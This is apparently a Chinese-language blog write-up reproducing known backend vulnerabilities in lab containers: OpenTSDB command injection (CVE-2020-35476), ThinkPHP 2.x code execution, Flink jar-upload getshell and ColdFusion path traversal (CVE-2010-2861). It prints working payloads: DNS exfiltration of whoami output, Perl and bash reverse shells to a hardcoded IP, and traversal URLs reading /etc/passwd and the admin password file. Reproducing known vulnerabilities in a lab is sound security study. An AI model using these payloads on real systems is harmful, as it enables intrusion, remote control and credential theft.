后端漏洞(上)


OpenTSDB 命令注入漏洞(CVE-2020-35476)

1:复现环境中的命令注入漏洞

通过 http://your-ip:4242/api/suggest?type=metrics&q=&max=10 查看metric列表

发现这里的metrics为空

利用API创建一个名为 sys.cpu.nice 的metric并添加一条记录

发送如下数据包,其中参数m的值必须包含一个有数据的metric

进入容器中可见命令 touch /tmp/success 已成功执行

2:尝试利用命令注入执行whomi命令,使用DNS外带技术获取结果

DNSLog Platform获取一个会话并等待dns请求带回关键字$(whoami)

构造请求

curl http://$(whoami).random.dnslog.cn

3:利用反弹Shell方法,将漏洞环境的Shell反弹到宿主机或VPS服务器

Docker内没有netcat,lua,并且默认dash使bash语法不能生效。于是使用perl反弹shell:

Perl反弹由Online - Reverse Shell Generator (revshells.com)生成

perl -e 'use Socket;$i="47.109.111.193";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'

测试语句实际可用

但通过web请求注入失败,查看CVE-2020-35476研究发现,实际上使用gnuplot的system函数实现命令注入,而gnuplot的system函数对多重引号支持有问题导致注入失败

perl -e ‘use…的单引号构成单引号闭合造成命令无法传入

尝试修改dash为bash,并注入反向shell以规避多层引号:

ln -s -f bash /bin/sh;sh -i >& /dev/tcp/47.109.111.193/2333 0>&1

Connection received on xx.xx.xx.xx 1191

sh: cannot set terminal process group (1): Inappropriate ioctl for device

sh: no job control in this shell

sh-5.1#

反弹shell成功

ThinkPHP 2.x 任意代码执行漏洞

直接访问 http://localhost:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

执行phpinfo()

ls打印当前目录

tree打印网站结构

Flink支持上传jar包并且执行,所以可以通过上传jar包直接getshell

将注入程序通过maven打包成jar

注入失败,查看容器内报错发现

Caused by: java.lang.UnsupportedClassVersionError: main has been compiled by a more recent version of the Java Runtime (class file version 64.0), this version of the Java Runtime only recognizes class file versions up to 52.0.

结论:Java编译版本过高

新建Java1.8环境重新编译反弹shell的jar包

上传并执行

Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)

直接访问读取文件/etc/passwd

http://localhost:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en

读取后台管理员密码:

http://localhost:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en

读取目标系统中的”/opt/coldfusion8/license.txt”文件

Comments

Leave a comment